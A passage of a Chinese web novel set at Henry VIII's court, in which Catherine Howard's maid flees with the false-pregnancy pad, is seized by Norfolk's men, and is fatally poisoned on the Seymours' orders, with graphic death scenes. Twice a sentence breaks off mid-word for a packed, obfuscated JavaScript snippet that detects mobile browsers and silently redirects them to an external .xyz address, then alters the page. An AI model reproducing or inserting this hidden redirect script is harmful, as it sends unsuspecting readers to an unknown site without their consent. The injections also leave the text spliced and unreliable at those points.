尔看着床上陷入半昏睡状态、依旧不时惊厥的凯瑟琳，又想起白日里诺福克公爵那如同看死物般的眼神，以及西摩家可能已经掌握的铁证……一个念头如同疯长的藤蔓，缠绕住她濒临崩溃的神经：**逃！** 她不能坐以待毙！凯瑟琳已经毁了，霍华德家族随时会抛弃她们！西摩家虎视眈眈！留在这里，只有死路一条！ 这个念头一旦滋生，便再也无法遏制。巴斯克维尔的心脏狂跳起来，手心全是冷汗。她强迫自己冷静，目光飞快地在寝殿内扫视。她的目光最终落在一个不起眼的、存放凯瑟琳“孕装”的紫檀木箱上。那里，藏着那件特制的腹垫——最直接、最无法抵赖的假孕罪证！ 她蹑手蹑脚地走过去，颤抖着手打开箱子。华美的衣裙下，那团用软布精心填充、模仿孕妇隆起的物件静静地躺着，像一个无声的讽刺。她将它迅速抽出，塞进自己一个稍大的随身亚麻布袋里，又胡乱塞了几件自己的常服和几枚值钱的小首饰作为掩护。 接着，她走到梳妆台前，拉开一个暗格。里面有一个小小的天鹅绒袋子，装着凯瑟琳心情好时随手赏赐的几颗小珍珠和一枚金戒指。这是她仅有的、能换取活路的财物。她将它们紧紧攥在手心，冰冷的触感稍微平复了一点狂乱的心跳。 最后，她走到床边，最后一次看向凯瑟琳。年轻的王后即使在昏睡中，眉头也痛苦地紧锁着，眼角还挂着未干的泪痕。一丝愧疚和悲伤涌上心头，但很快被更强烈的求生欲淹没。她低声道：“殿下……对不起……但我必须活……” 声音轻得如同叹息。 她不再犹豫，吹熄了寝殿内大部分蜡烛，只留下床边一盏昏暗的小灯。她换上最不起眼的深灰色侍女便服，将装有腹垫和财物的布袋紧紧抱在胸前，像抱着最后的救命稻草。她屏住呼吸，侧耳倾听门外——守夜的卫兵似乎正在换岗，传来短暂的交谈声。 就是现在！ 安妮·巴斯克维尔像一只受惊的狸猫，悄无声息地拉开寝殿厚重的门扉，闪身而出，迅速融入宫殿长廊深邃的阴影里。她熟悉宫廷的每一条仆役通道，知道哪条路在深夜巡逻最少。她避开主道，在迷宫般的回廊和狭窄的楼梯间穿行，心脏几乎要从嗓子眼里跳出来。每一次拐角都可能撞上巡逻的卫兵，每一次脚步声都让她惊出一身冷汗。 她只有一个目标：格林威治宫连接泰晤士河运货的小西门！那里夜间守卫相对松懈，而且有通往城外的船只！ 冰冷的夜风灌入长廊，吹在她汗湿的额头上。怀里的布袋像一块烧红的烙铁，烫得她心惊肉跳。她知道，自己偷走的不仅仅是一个布垫，而是足以将霍华德家族打入地狱的钥匙，也是她自己唯一的生路。她奔跑着，在巨大的、如同怪兽蛰伏的宫殿阴影里仓皇奔逃，身后是金丝雀破碎的牢笼和即将喷发的火山，前方是未知的、却必须去搏一搏的黑暗生天。诺福克公爵的警告如同跗骨之蛆，在她耳边回响：“……你会死得更惨！” 她咬紧牙关，拼尽全身力气，朝着那微弱的、象征着自由的黑暗水光奔去。 32. 血证与獠牙 泰晤士河的黑水在格林威治宫小西门码头下无声涌动，倒映着稀疏的星子和宫墙上巡逻火把的微光。安妮·巴斯克维尔像一只受惊的鼬鼠，紧贴着冰冷的石墙，心脏在胸腔里擂鼓般狂跳。怀里的布袋像一块烧红的烙铁，烫得她灵魂都在颤抖。她成功了！至少是暂时逃离了那座吃人的宫殿！只要登上一条船，顺流而下，消失在伦敦城鱼龙混杂的码头区……她就能活！ 她屏住呼吸，探出头，快速扫视着昏暗的码头。只有一条破旧的小驳船系在腐朽的木桩上，船身随着水流轻轻摇晃，发出吱呀的呻吟。一个裹着破旧斗篷、身形佝偻的老船夫正蜷缩在船尾打盹。就是它了！ 巴斯克维尔深吸一口气，压下喉咙口的腥甜，正准备迈出奔向自由的关键一步—— “站住！什么人？！”一声暴喝如同惊雷，猛地炸响在寂静的码头上！ 几支火把骤然亮起，刺目的光芒瞬间撕破黑暗，将安妮·巴斯克维尔惊恐万状的脸照得无所遁形！四名身着霍华德家族暗红号衣、腰佩短剑的精壮家丁，如同鬼魅般从码头两侧的阴影里扑出，瞬间将她合围！为首一人，正是诺福克公爵最心腹的侍卫长，杰拉德·布莱克伍德。他那张刀刻斧凿般的脸上没有任何表情，只有鹰隼般的目光死死锁定了巴斯克维尔怀中的布袋。 “深更半夜，王后贴身侍女，不在宫中侍奉，鬼鬼祟祟到此作甚？”布莱克伍德的声音冰冷，不带一丝起伏，却蕴含着令人胆寒的压迫感。 安妮·巴斯克维尔浑身血液仿佛瞬间冻结！巨大的恐惧让她双腿发软，几乎站立不住。完了！被发现了！公爵的人……一直在等她！她下意识地将怀里的布袋抱得更紧，仿佛那是她最后的护身符，这个动作却彻底暴露了她的心虚。 “我……我只是……”她语无伦次，声音抖得不成样子。 布莱克伍德根本没兴趣听她辩解。他目光如电，一步上前，蒲扇般的大手带着不容抗拒的力量，猛地抓住了巴斯克维尔死死护住的布袋！ “不！放手！”巴斯克维尔发出绝望的尖叫，用尽全身力气挣扎，指甲在布莱克伍德粗壮的手臂上抓出血痕。 “啪啦！”一声布帛撕裂的脆响！ 在两人激烈的撕扯中，布袋的系带断裂！里面的东西哗啦一下散落出来！ 几件普通侍女常服、一个装着零星首饰的小天鹅绒袋……以及，那件制作精良、用多层软布填充缝制、形状逼真的——**假孕腹垫**！ 腹垫滚落在肮脏的码头上，在火把的照耀下，其模仿孕妇隆起的形态和精巧的缝制工艺一览无余，像一个无声而巨大的嘲讽，嘲笑着整个霍华德家族精心编织的弥天大谎！ 时间仿佛在这一刻凝固了。所有霍华德家丁的目光都死死钉在那件罪证上，连呼吸都停滞了。布莱克伍德的瞳孔骤然收缩成针尖，一股冰冷的杀意瞬间弥漫开来。他猛地抬头，目光如同淬毒的冰锥，狠狠刺向面无人色的巴斯克维尔。 “贱婢！”布莱克伍德从牙缝里挤出两个字，声音低沉得如同地狱的回响。他不再有任何犹豫，一脚狠狠踹在巴斯克维尔的腹部！ “呃啊——！”巴斯克维尔惨叫着向后飞跌出去，重重撞在冰冷的石墙上，剧痛让她蜷缩成一团，鲜血从嘴角溢出。 “拿下！堵住嘴！”布莱克伍德厉声下令。两名家丁如狼似虎地扑上，用布团粗暴地塞住巴斯克维尔的口鼻，将她反剪双手捆了个结实。她只能发出痛苦的呜咽，眼中充满了彻底的绝望。 布莱克伍德弯腰，用一块干净的布小心翼翼地捡起那个沾着码头污水的假腹垫，仿佛捧着什么剧毒之物。他目光阴沉地扫过地上散落的侍女衣物和首饰，又看了一眼那个被堵住嘴、如同待宰羔羊般的侍女。公爵的命令是带回罪证和活口……但这活口，还能活着见到明天的太阳吗？ “处理干净这里。”他对剩下的家丁低语一句，目光扫过那条破船和被打斗惊醒、吓得瑟瑟发抖的老船夫。老船夫对上他那毫无人性的冰冷眼神，瞬间瘫软在地。 布莱克伍德不再多看一眼，将假腹垫用布仔细包好，夹在腋下，像拖死狗一样抓起瘫软的巴斯克维尔，迅速消失在通往宫殿深处的阴影里。码头上，只留下散落的衣物、几滴暗红的血迹，和那弥漫在河风中的、令人作呕的血腥与绝望的气息。 *** 几乎是同一时刻，在格林威治宫另一侧，西摩家族安插在王后侍女中的一名眼线，正焦急地在约定好的、靠近洗衣房后门的一处僻静花丛阴影中等待。她手里紧紧攥着一个小纸条，上面潦草地记录着她刚刚冒险探听来的、关于巴斯克维尔异常动向的模糊信息——深夜离宫、去向不明。 约定的时间已过，她等待的接头人却迟迟未到。一股不祥的预感攫住了她。正当她准备放弃离开时，一个身影悄无声息地出现在她身后，捂住了她的嘴，将她拖入更深的黑暗。 “别出声，是我。”一个刻意压低的熟悉声音响起，是西摩家族在宫内的另一个暗桩，负责外线联络的威廉。 侍女惊恐地点点头，威廉松开了手。她立刻将纸条塞进威廉手里，急促地低语：“巴斯克维尔……她不对劲……天黑后换了便服，鬼鬼祟祟往西门方向去了……好像……好像揣着什么东西……” 威廉借着月光快速扫过纸条，脸色瞬间凝重。西门码头！那是逃跑的路径！他立刻意识到事情的严重性远超预期！ “你立刻回去，装作什么都不知道！”威廉迅速下令，“我去找大人！” 他像幽灵一样融入黑暗，凭借着对宫廷密道的熟悉，以最快的速度潜行，避开巡逻的卫兵，最终从一条废弃的排水沟钻出了格林威治宫的外墙，消失在伦敦城迷宫般的小巷中。 *** 爱德华·西摩的书房内，烛火通明。爱德华、托马斯兄弟俩以及几位核心心腹正对着琉璃匣中的月经布和刚刚收到的、关于格里夫斯“安胎药”来源的密报进行最后的谋划。约翰·西摩（提出毒计者）眼中闪烁着阴鸷的光芒，正准备详细阐述他那“胎死腹中”的计划。 “砰！”书房的门被猛地撞开，威廉气喘吁吁、浑身沾满污泥地冲了进来，脸上带着罕见的惊惶。 “大人！出大事了！”威廉顾不上行礼，声音嘶哑，“王后的侍女安妮·巴斯克维尔……她……她试图从西门码头逃跑！被诺福克的人……截住了！” 书房内瞬间死寂！所有人的目光都聚焦在威廉身上。 “说清楚！截住了？人呢？东西呢？！”爱德华·西摩猛地站起，眼中精光暴射。 “人被抓回去了！生死不知！”威廉快速将眼线的情报和自己的判断说出，“她逃跑时怀里揣着东西……我怀疑……很可能是更直接的罪证！比如……那个假肚子！” “假肚子？！”托马斯·西摩失声叫道，英俊的脸上写满了震惊。 “霍华德的人下手太快了！”爱德华·西摩一拳砸在书桌上，琉璃匣都震得跳了一下，脸上充满了懊恼和不甘，“我们晚了一步！最重要的铁证……被他们抢回去了！” 他几乎能想象诺福克公爵拿到那件东西后会如何毁灭证据、封口灭迹。 “那……那我们怎么办？”一位心腹焦急地问，“仅凭这条布，分量……” “分量是轻了，但并非无用！”爱德华·西摩强迫自己冷静下来，眼中闪烁着更加锐利、也更加危险的光芒，“诺福克抢回了东西，但他抢不回‘人’！那个侍女巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155922|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯克维尔，就是一颗随时会引爆的炸弹！诺福克现在一定像热锅上的蚂蚁，急于除掉她灭口！这就是我们的机会！” 他看向约翰·西摩，那个阴鸷的旁支成员：“约翰，你准备的‘料’，现在就能派上用场了！但不是用在凯瑟琳身上……” 爱德华·西摩的嘴角勾起一抹冷酷至极的弧度，“用在那个侍女身上！想办法，让诺福克的人在‘处理’她的时候，或者在她被关押的地方……让她‘意外’中毒身亡！死状……要惨烈，要像是被霍华德灭口！” 约翰立刻会意，眼中闪过一丝兴奋的残忍：“明白！大人放心，我会用上最像砒霜发作的东西，七窍流血，痛苦万分……保证让所有人一看就知道是杀人灭口！” “很好！”爱德华·西摩的目光扫过众人，“同时，把我们手上现有的证据——那条月经布，格里夫斯可疑药源的线索，还有巴斯克维尔深夜携重要物品出逃被抓的消息……想办法，用最隐秘、最无法追查的方式，一点一点，泄露出去！传到宫里那些碎嘴的侍女、内侍、甚至……传到玛丽公主和伊丽莎白公主耳朵里！风，该吹起来了！” 他走到窗边，望着格林威治宫方向那片被灯火映红的夜空，声音低沉而充满力量：“诺福克以为抢回东西就万事大吉？做梦！他堵不住悠悠众口，更灭不了滔天的疑云！他越是想掩盖，破绽就会越大！我们要让这疑云变成笼罩在霍华德家族头顶的催命符，让恐惧在他们自己人心里生根发芽！让陛下……自己开始怀疑！” 西摩家族这台复仇的机器，在错失关键物证的懊恼后，以更加阴险、更加致命的方式，再次高速运转起来。毒药与流言，如同黑暗中无声张开的獠牙，悄然对准了格林威治宫的心脏。 *** 格林威治宫深处，一间阴冷潮湿、散发着霉味的储藏室被临时改成了囚牢。安妮·巴斯克维尔被像破麻袋一样扔在冰冷的地面上，手脚依旧被捆着，嘴里的布团让她无法出声，只有痛苦的呜咽和粗重的喘息在黑暗中回荡。腹部被布莱克伍德踹中的地方剧痛难忍，嘴角的血迹已经干涸。 沉重的门被推开，诺福克公爵托马斯·霍华德的身影出现在门口，像一座移动的冰山，挡住了门外微弱的光线。他手中，正拿着那件被布包着的假腹垫。他一步步走近，靴子踩在石板上发出沉闷的回响，每一步都像踩在巴斯克维尔的心尖上。 公爵停在蜷缩的侍女面前，居高临下地看着她，眼神里没有任何温度，只有冰冷的审视和赤裸裸的杀意。他缓缓蹲下身，将那件假腹垫像展示垃圾一样丢在巴斯克维尔面前的地上。 “就是为了这个……愚蠢的东西？”公爵的声音如同毒蛇在沙地上爬行，充满了极致的轻蔑和压抑的暴怒，“你差点毁了霍华德家族几代人的心血！差点毁了整个英格兰！” 巴斯克维尔惊恐地瞪大眼睛，拼命摇头，喉咙里发出含糊的哀求声。 “晚了。”公爵的声音冰冷刺骨，“你的命，还有你全家老小的命，在你拿起这个布团想逃跑的那一刻，就已经不属于你自己了。” 他伸出手，枯瘦的手指如同鹰爪，猛地掐住巴斯克维尔的下巴，强迫她抬起头，直视自己那双深不见底、如同寒潭的眼睛。 “现在，告诉我，还有谁知道这个？”公爵的声音压得极低，却带着令人毛骨悚然的压力，“除了你，除了王后，还有谁碰过它？做过它？格里夫斯？还是别的什么人？说出来，也许……我会让你死得痛快点。否则……” 他没有说下去，但那眼神比任何酷刑的威胁都更令人绝望。巴斯克维尔在他的钳制下瑟瑟发抖，如同暴风雨中一片随时会被撕碎的落叶。死亡的阴影，混合着对家族被牵连的恐惧，彻底将她吞噬。 33. 风满危楼与暗室毒焰 格林威治宫的清晨，笼罩在一层虚假的宁静之下。凯瑟琳·霍华德寝宫的厚重门扉紧闭，隔绝了内里的死寂。诺福克公爵托马斯·霍华德枯坐在自己奢华却冰冷如坟墓的书房内，面前摊着那份被布包裹的、如同烧红烙铁的假腹垫。晨曦透过彩色玻璃窗，在他脸上投下斑驳而扭曲的光影。他枯瘦的手指无意识地敲击着坚硬的橡木桌面，发出沉闷的笃笃声，每一下都像敲在他紧绷到极致的神经上。 巴斯克维尔被抓回来了，罪证也夺回了。但公爵心中没有一丝轻松，只有更加深沉的、如同泰晤士河底淤泥般的阴冷。那个侍女绝望的眼神，像烙印一样刻在他脑海里。她知道的太多了！假腹垫的制作、格里夫斯的参与、凯瑟琳的崩溃……更重要的是，她尝试逃跑的行为本身，就像在密封的堤坝上凿开了一道裂缝。西摩家的狗，一定嗅到了！ “必须处理掉她。”公爵的声音干涩沙哑，像砂纸摩擦，“立刻，干净，不留痕迹。” 他抬起头，看向侍立在一旁、如同雕塑般的侍卫长布莱克伍德，“给她‘意外’。失足落井？急病暴毙？选一个最快的。记住，要‘合理’，要让人查无可查！她的家人……” 公爵眼中闪过一丝残酷的决断，“诺福克郡那边，你知道该怎么做。要快，要让他们永远闭嘴。” 布莱克伍德深深一躬，脸上没有任何表情：“明白，大人。今晚之前，她和她的家人，都会彻底消失。” 他转身离去，步伐无声，带着死神般的效率。 公爵疲惫地闭上眼，靠在椅背上。除掉一个侍女容易，但堵住这宫廷里成千上万张贪婪或好奇的嘴，难如登天。他必须让凯瑟琳重新“振作”起来，哪怕是用鞭子抽，也要让她在众人面前维持住“孕中王后”的假象！他必须稳住格里夫斯那个老东西！必须……公爵猛地睁开眼，一丝狠厉闪过。也许，是时候抛出一些诱饵，转移西摩家的注意力了？比如，暗示他们追查克伦威尔余党在里士满的活动？那个德意志女人安妮，不是和西摩家走得近吗？正好一石二鸟！ *** 然而，诺福克公爵的动作，终究慢了一步。西摩家族精心编织的谣言之网，已经如同瘟疫般在格林威治宫的每一个角落无声蔓延。 宫墙内，侍女们在浆洗衣物时交头接耳： “听说了吗？王后身边那个安妮·巴斯克维尔，昨晚被公爵的人从西门码头抓回来了！浑身是伤，像条死狗！” “啊？她跑什么？难道……” “嘘！小点声！有人说……看到她怀里掉出来个怪东西……圆滚滚的，像……像个塞了布的枕头？” “枕头？深更半夜揣着枕头跑？” “谁知道呢……不过，王后最近的气色……啧啧，可不像是有喜的样子……” 廊柱后，内侍们在传递公文时低语： “西门码头的老杰克，今早吓破了胆，说昨晚看到霍华德家的煞神抓人，地上还有血……” “奇怪，巴斯克维尔是王后最贴心的侍女，犯了什么事要连夜逃跑？” “事出反常必有妖……我有个在御膳房的老乡说，格里夫斯大人最近给王后配的‘安胎药’，药渣味道冲得很，根本不像寻常补药……” 玛丽公主的祈祷室。她正跪在冰冷的石板地上，对着圣母像虔诚祷告，为病榻上的弟弟爱德华祈求生机。一个她信任的、出身旧教贵族家庭的年长侍女，小心翼翼地靠近，递上一条干净的绣帕，压低声音，带着恰到好处的忧虑： “公主殿下……请恕奴婢多嘴。王后那边……似乎不太平。她的贴身侍女安妮·巴斯克维尔昨夜试图逃跑，被诺福克公爵的人抓回，据说……身上搜出了些不该有的东西。宫里都在传……传王后的胎象……有古怪。奴婢担心……这会不会是什么不祥之兆？或者……有人想对王嗣不利？” 侍女没有提月经布，但“不该有的东西”和“胎象古怪”的暗示，如同毒刺，精准地扎进了玛丽本就因弟弟病危而高度敏感、且对霍华德和凯瑟琳充满厌恶的心房。 玛丽握着念珠的手指骤然收紧，骨节泛白。她猛地抬起头，深陷的眼窝里射出锐利而冰冷的光芒。巴斯克维尔逃跑被抓？搜出东西？胎象古怪？联想到格里夫斯那闪烁其词的诊断，联想到霍华德家族一贯的贪婪和不择手段……一个可怕的、她内心深处其实一直隐隐存在的怀疑，如同毒藤般疯狂滋长起来！凯瑟琳·霍华德……你这个从苹果园爬上龙床的贱人！你们霍华德家……难道竟敢……？！ *** 里士满，安娜宫的书房内弥漫着玫瑰精油的芬芳，却驱不散安妮紧蹙的眉宇间的凝重。伊丽莎白坐在她对面，小脸绷得紧紧的，手里捏着一封刚刚由西摩家秘密渠道送来的、措辞隐晦的警告信。信中没有提及任何具体证据，只反复强调格林威治宫近期将有“大变故”，风暴将起，暗示安妮务必谨言慎行，与霍华德相关的一切保持距离，尤其要警惕可能泼向她的脏水。 “老师，”伊丽莎白的声音带着超越年龄的冷静，“托马斯爵士（西摩）这是在提醒我们，霍华德家要完了，但他们会像受伤的野兽一样疯狂反扑，可能会……拖人下水。” 安妮放下手中正在调配的新一批“舒络蜜”，指尖沾着琥珀色的液体。她当然明白。西摩家想自保，也想借机彻底摁死霍华德。而她这个与霍华德有“旧怨”（离婚）、又与西摩有“新谊”（蜂蜜酒合作）、还掌握着国王所需“神药”的前王后，处境确实微妙。她既不能卷入风暴中心被撕碎，也不能完全置身事外失去斡旋的空间。 “贝丝，”安妮看着伊丽莎白，目光沉静，“记住，无论格林威治宫发生什么，里士满的玫瑰照常开放，我们的酒坊照常运转。你继续看你的星星，写你的拉丁文。外面再大的风雨，我们这里，要稳如磐石。” 她顿了顿，眼中闪过一丝精光，“尤其是……陛下所需的‘舒络蜜’，品质和供应，绝不能出半点差错。这是我们最大的护身符。” 伊丽莎白用力点头，灰绿色的眼睛里闪烁着理解和坚定。 就在这时，书房的门被轻轻叩响。老约翰脸色凝重地站在门口：“夫人，格林威治宫……格里夫斯御医派人来，急求一批最高浓度的‘安胎蜜’原浆！说是……王后殿下胎动不安，急需用药安神！” 安妮和伊丽莎白对视一眼，都在对方眼中看到了警惕。在这个节骨眼上，凯瑟琳“胎动不安”？还要最高浓度的原浆？这太蹊跷了！ “告诉他们，”安妮迅速做出决断，“‘安胎蜜’原浆酿造周期长，窖藏的最后一批前几日刚被陛下调走用于王子殿下调养。现下只有按标准稀释好的成品，可以立刻提供一些。若急需原浆，需再等七日新酿成。” 她不能给！尤其是在这种时候，任何从她这里流出的、进入凯瑟琳口中的东西，都可能成为嫁祸的毒药！她必须撇清！ *** 格林威治宫深处，那间阴暗潮湿的储 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155923|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏室囚牢。安妮·巴斯克维尔蜷缩在冰冷的角落，意识在剧痛和恐惧中模糊。门吱呀一声被推开，一个面生的、穿着低级杂役灰袍的矮胖妇人端着个破木碗走了进来，碗里装着浑浊的菜汤和一小块黑面包。 “吃饭了。”妇人的声音粗嘎，带着浓重的伦敦东区口音，听起来平平无奇。 巴斯克维尔毫无反应，她已近乎绝望。 妇人将木碗放在地上，看似随意地靠近。就在她弯腰放碗的瞬间，借着门口透入的微光，妇人眼中闪过一丝与粗鄙外表截然不符的、毒蛇般的阴冷光芒！她宽大的灰袍袖口极其隐蔽地一抖，几粒细微得几乎看不见的白色粉末，如同尘埃般，悄无声息地落入了那碗浑浊的菜汤里，迅速溶解，不留一丝痕迹。 做完这一切，妇人若无其事地直起身，甚至用脚踢了踢木碗，粗声粗气地说：“快吃！别饿死了给老娘添麻烦！” 说完，她转身离开，沉重的门再次关闭，将绝望和无声的死亡彻底锁在了黑暗里。 巴斯克维尔对近在咫尺的杀机毫无察觉。极度的干渴和腹中饥饿的绞痛最终战胜了麻木。她挣扎着挪动被捆缚的身体，像狗一样凑到木碗边，用被捆住的手腕艰难地捧起碗，贪婪地啜饮着那浑浊的、带着怪味的液体…… 几滴菜汤顺着她的嘴角流下，滴落在冰冷肮脏的地面上。 时间，在寂静和黑暗中缓慢流逝。大约过了一炷香的时间…… 蜷缩在地上的巴斯克维尔身体猛地一僵！一股难以言喻的、如同无数烧红钢针在腹内疯狂搅动的剧痛骤然爆发！她发出一声被堵在喉咙深处的凄厉惨嚎，身体像被扔进滚油的大虾般剧烈抽搐、弓起！捆缚的绳索深深勒进皮肉！ “呃……嗬嗬……” 她喉咙里发出破风箱般的嗬嗬声，眼球因剧痛而暴突，布满了血丝！紧接着，一股腥甜猛地涌上喉头！ “噗——！” 一大口粘稠、暗红发黑、散发着刺鼻腥臭的血液狂喷而出！溅满了她胸前的衣襟和冰冷的地面！这仅仅是开始！剧烈的痉挛让她无法控制身体，鲜血混合着胃里的残渣不断从口鼻中涌出，七窍也开始渗出暗红的血丝！她像一条离水的鱼在血泊中疯狂扭动、抽搐，被堵住的嘴只能发出令人毛骨悚然的、沉闷的“嗬嗬”声，指甲在石地上抓挠出刺耳的声音和道道血痕！她的眼神充满了极致的痛苦和巨大的、无法理解的惊骇——是谁？！公爵？还是……西摩？！ 毒药猛烈地侵蚀着她的内脏，带来地狱般的折磨。意识在无边的剧痛和迅速流失的生命力中沉沦。弥留之际，她涣散的目光似乎穿透了厚重的墙壁，看到了汉普顿宫镜前那个骄阳般明媚的金发少女……看到了诺福克公爵冰冷的眼神……看到了西门码头冰冷的河水……最终，定格在童年诺福克乡下那片开满雏菊的草地上……那里没有阴谋，没有恐惧，只有阳光和风…… 她的身体在最后一次剧烈的抽搐后，终于瘫软在冰冷粘稠的血泊中，彻底不动了。眼睛瞪得极大，空洞地望着低矮、布满蛛网的天花板，凝固着无尽的痛苦、惊骇和……一丝解脱。 阴暗的囚室里，只剩下浓重得令人作呕的血腥味，和那无声控诉着宫廷最肮脏角落的惨烈死状。一颗关键的棋子，一颗知晓太多秘密的炸弹，就这样在无人知晓的黑暗角落，被无情而残忍地“拆除”了。然而，她的死，非但未能扑灭疑云，反而如同在滚油中泼入了一瓢冰水，瞬间激起了更猛烈、更无法控制的爆裂！ 34. 血腥的黎明与失控的齿轮 格林威治宫那个囚禁安妮·巴斯克维尔的阴冷储藏室，直到次日清晨才被打开。布莱克伍德带着两个心腹，面无表情地准备执行公爵“意外”的命令。但当沉重的门扉被推开，一股浓烈到令人作呕的甜腥铁锈味混合着排泄物的恶臭，如同无形的拳头，狠狠砸在他们脸上！ 晨光熹微，透过高窗的尘埃光束，清晰地映照出地板上那幅地狱般的景象。 安妮·巴斯克维尔扭曲地蜷缩在冰冷石地上，四肢仍被捆缚，姿势僵硬诡异。她的脸因极致的痛苦而狰狞变形，眼球暴突充血，几乎要脱出眼眶，凝固着无边的恐惧和惊骇。暗红发黑、已然半凝固的粘稠血液从她的口鼻、眼角、耳孔渗出，在她苍白如纸的脸上画出道道可怖的痕迹，最终在身下汇聚成一大片触目惊心的暗红色沼泽。她的胸前衣襟被喷溅的污血浸透，嘴角残留着呕吐的秽物。被布团堵住的嘴周围，干涸的血沫形成一圈黑褐色的痂。石地板上，有几道深深的、带着皮肉碎屑的抓痕，是她垂死挣扎时用指甲生生抠出来的。 整个囚室，就是一个凝固的、无声尖叫的屠宰场。 饶是布莱克伍德这样见惯了血腥的狠角色，也被眼前的惨状冲击得胃部一阵翻涌，瞳孔骤缩。他身后的两个家丁更是脸色煞白，其中一个忍不住干呕起来。 “七……七窍流血……”一个家丁声音发颤，带着难以置信的惊恐，“这……这绝不是意外！是毒！剧毒！” 布莱克伍德强迫自己冷静下来，蹲下身，忍着强烈的气味，用手指沾了点尚未完全凝固的血液捻了捻，又凑近闻了闻。一股若有若无的、类似大蒜被烧焦的刺鼻气味混合在血腥味里。他的脸色瞬间变得极其难看。 “砒霜……或者类似的烈性毒药。”他声音低沉，带着冰冷的怒意和一丝不易察觉的慌乱。公爵的命令是制造“意外”，无声无息地处理掉。眼前这惨烈的死法，简直是在向所有人宣告：这是赤裸裸的、残忍至极的灭口！是谁？！谁敢在他的地盘上，抢在他前面动手？！这手法，这效果……绝非寻常手段！ “大人……怎么办？”家丁的声音带着恐惧。 布莱克伍德眼神阴鸷地扫视着囚室。公爵要的“干净”已经不可能了。这现场本身就是最大的破绽，是甩向霍华德家族的一口滚烫黑锅！他必须立刻向公爵汇报，这局面，彻底失控了。 “锁门！任何人不得靠近！”布莱克伍德厉声下令，“你们两个，守在这里！敢泄露半个字，后果你们清楚！” 他最后看了一眼地上那具无声控诉的尸体，转身大步离去，步伐带着前所未有的沉重和急迫。血腥味如同跗骨之蛆，紧紧缠绕着他。 *** 诺福克公爵托马斯·霍华德听到布莱克伍德的低声禀报时，手中把玩的那柄红宝石拆信刀“当啷”一声掉在坚硬的橡木桌面上。 “你说什么？！”公爵猛地站起身，枯瘦的身体因震惊和暴怒而微微颤抖，那张如同被熨斗烫过的长脸瞬间失去了所有血色，变得比囚室的地板还要惨白，“七窍流血？！中毒身亡？！” “是，大人。现场……极其惨烈。绝非意外，是蓄意谋杀，而且……手法极其张扬。”布莱克伍德低着头，声音紧绷，“像是……生怕别人不知道她是被灭口的。” 一股冰冷的寒意瞬间从公爵的脚底窜上天灵盖，让他如坠冰窟。完了！他精心构筑的堤坝，在巴斯克维尔被抓回时裂开了一道缝，如今，这道缝隙被一柄淬毒的巨斧彻底劈成了深渊！是谁？！西摩？一定是西摩！只有他们才有动机、有能力，并且如此狠毒！他们抢先用最极端的方式引爆了这颗炸弹，将“霍华德家族杀人灭口”的标签，用最血腥的方式钉死了！ “毁掉现场！立刻！”公爵的声音嘶哑，带着一种困兽般的疯狂，“把那贱婢的尸体处理掉！扔进泰晤士河最深的漩涡！那间囚室……用石灰水泼，用火烧！抹掉一切痕迹！快！” 他枯瘦的手指死死抓住桌沿，指节因为用力而发白。他知道这可能是徒劳，但这是他唯一能做的挣扎。 “那……那件东西？”布莱克伍德指的是假腹垫。 公爵眼中闪过一丝极其复杂的痛苦和决绝。那东西现在是催命符！任何与之相关的实物证据都必须彻底消失！“烧掉！立刻！就在我壁炉里烧！我看着它化成灰！” 他几乎是吼出来的。 布莱克伍德领命，迅速退下执行这绝望的善后。 公爵颓然坐回椅子，巨大的无力感和滔天的怒火几乎将他撕裂。他看着壁炉里即将燃起的火焰，仿佛看到自己家族几代人的权势和谋划，正随着那团软布一同化为灰烬。西摩……好狠的手段！好毒的计策！他们不仅杀了人，还用最残忍的方式，将杀人的罪名和恐慌，狠狠地砸在了霍华德家族的头上！ *** 然而，毁灭尸骸容易，堵住悠悠众口却难如登天。巴斯克维尔惨死的消息，如同长了翅膀的瘟疫，在布莱克伍德下令锁门之前，就已经通过西摩家族精心编织的网络，以更惊悚、更详细的版本，在格林威治宫的每一个角落疯狂扩散。 “天哪！听说了吗？安妮·巴斯克维尔死了！在公爵关她的黑屋子里！” “怎么死的？” “还能怎么死？灭口呗！听说死得可惨了！七窍流血，眼珠子都瞪出来了！像被恶灵索命一样！” “真的假的？太可怕了！” “千真万确！有人偷偷从门缝里看见了……满地都是血！啧啧，霍华德家下手也太狠了……” “她到底知道什么天大的秘密啊？值得这么灭口？肯定跟王后……” 流言如同野火，在恐惧和猎奇的浇灌下越烧越旺。结合之前关于她逃跑被抓、掉出“怪东西”的传闻，以及王后“胎象”的种种疑点，一个清晰的、令人不寒而栗的推论在无数宫人的心中成形：霍华德家族为了掩盖一个惊天秘密（极可能是王后假孕），残忍地毒杀了知情的贴身侍女灭口！ 这流言，也如同淬毒的冰锥，精准地刺入了玛丽公主的耳朵。她那位年长的侍女，这次带来了更“确切”的消息，绘声绘色地描述了“灭口”现场的恐怖（细节自然是西摩家加工过的），并再次隐晦地指向了王后腹中“胎儿”的真伪。 